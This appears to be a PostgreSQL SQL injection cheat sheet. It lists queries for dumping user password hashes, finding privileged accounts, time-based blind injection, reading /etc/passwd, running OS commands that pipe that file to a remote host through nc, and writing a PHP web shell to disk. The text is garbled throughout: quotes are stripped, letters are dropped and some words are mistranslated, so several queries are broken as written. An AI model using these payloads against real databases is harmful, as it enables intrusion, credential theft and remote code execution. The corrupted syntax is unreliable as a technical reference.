| Version |
SELECT version () |
| Comments |
SELECT 1; -- comment
SELECT/* comment */1; |
| Current User |
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername (); |
| List Users |
SELECT usename FROM pg_user |
| List Password Hashes |
SELECT usename, passwd FROM pg_shadow -- priv |
| Password Cracker |
MDCrackCan crack javassqls MD5-based passwords. |
| List Privileges |
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
| List DBA Accounts |
SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| Current Database |
SELECT current_database () |
| List Databases |
SELECT datname FROM pg_database |
| List Columns |
SELECT relname,. attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type t where (C. relkind = r) AND (N. oid = C. relnamespace) AND (. attrelid = C. oid) AND (. atttypid = T. oid) AND (. attnum> 0) AND (not. attisdropped) AND (N. nspname ILIKE public) |
| List Tables |
SELECT c. relname FROM pg_catalog.pg_class c left join pg_catalog.pg_namespace n ON n. oid = c. relnamespace WHERE c. relkind IN (r,) AND n. nspname not in (pg_catalog, pg_toast) AND pg_catalog.pg_table_is_visible (c. oid) |
| Find Tables From Column Name |
If you want to list all the table names that contain a column LIKE % password %: Select distinct relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type t where (C. relkind = r) AND (N. oid = C. relnamespace) AND (. attrelid = C. oid) AND (. atttypid = T. oid) AND (. attnum> 0) AND (not. attisdropped) AND (N. nspname ILIKE public) AND attname LIKE % password %; |
| Select Nth Row |
SELECT usename FROM pg_user order by usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user order by usename LIMIT 1 OFFSET 1; |
| Select Nth Char |
SELECT substr (abcd, 3, 1); -- returns c |
| Bitwise AND |
SELECT 6 & 2; -- returns 2
SELECT 6 & 1; -- returns 0 |
ASCII Value-> Char |
SELECT chr (65 ); |
| Char-> ASCII Value |
SELECT ascii (); |
| Casting |
Select cast (1 as varchar );
Select cast (1 as int ); |
| String Concatenation |
Select a | B; -- returnsaid B |
If Statement |
IF statements only seem valid inside functions, so arent much use for SQL injection. See CASE statement instead. |
| Case Statement |
Select case when (1 = 1) then a else B END; -- returns |
| Avoiding Quotes |
Select chr (65) | CHR (66); -- returns AB |
| Time Delay |
SELECT pg_sleep (10); -- ipvs 8.2 + only
Create or replace function sleep (int) RETURNS int AS/lib/libc. so.6, Sleep language c strict; SELECT sleep (10); -- priv, create your own sleep function. Taken fromHere. |
| Make DNS Requests |
Generally not possible in postgres. However if html ">Contrib/dblinkIs installed (it isnt by default) It can be used to resolve hostnames (assuming you have DBA rights ): SELECT * FROM dblink(host=put.your.hostname.here user=someuser dbname=somedb, SELECT version()) RETURNS (result TEXT); Alternatively, if you have DBA rights you cocould run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net ". |
| Command Execution |
Create or replace function system (cstring) RETURNS int AS/lib/libc. so.6, system language c strict; -- priv SELECT system (cat/etc/passwd | nc 10.0.0.1 8080); -- priv, commands run as S/pgsql OS-level user |
| Local File Access |
Create table mydata (t text );
COPY mydata FROM/etc/passwd; -- priv, can read files which are readable by s OS-level user
... Union all select t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
... Union all select t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time...
Drop table mytest; Write to a file: Create table mytable (mycol text );
Insert into mytable (mycol) VALUES (<? Pasthru ($ _ GET [cmd]) ;?> );
COPY mytable (mycol) TO/tmp/test. php; -- priv, write files as your s OS-level user. Generally you wont be able to write to the web root, but its always work a try.
-- Priv user can also read/write filesMapping libc functions |
| Hostname, IP Address |
SELECT inet_server_addr (); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port (); -- returns db server IP address (or null if using local connection) |
| Create Users |
Create user test1 PASSWORD pass1; -- priv
Create user test1 PASSWORD pass1 CREATEUSER; -- priv, grant some privs at the same time |
| Drop Users |
Drop user test1; -- priv |
| Make User DBA |
Alter user test1 createuser createdb; -- priv |
| Location of DB files |
SELECT current_setting (data_directory); -- priv
SELECT current_setting (pai_file); -- priv |
| Default/System Databases |
Template0
Template1 |
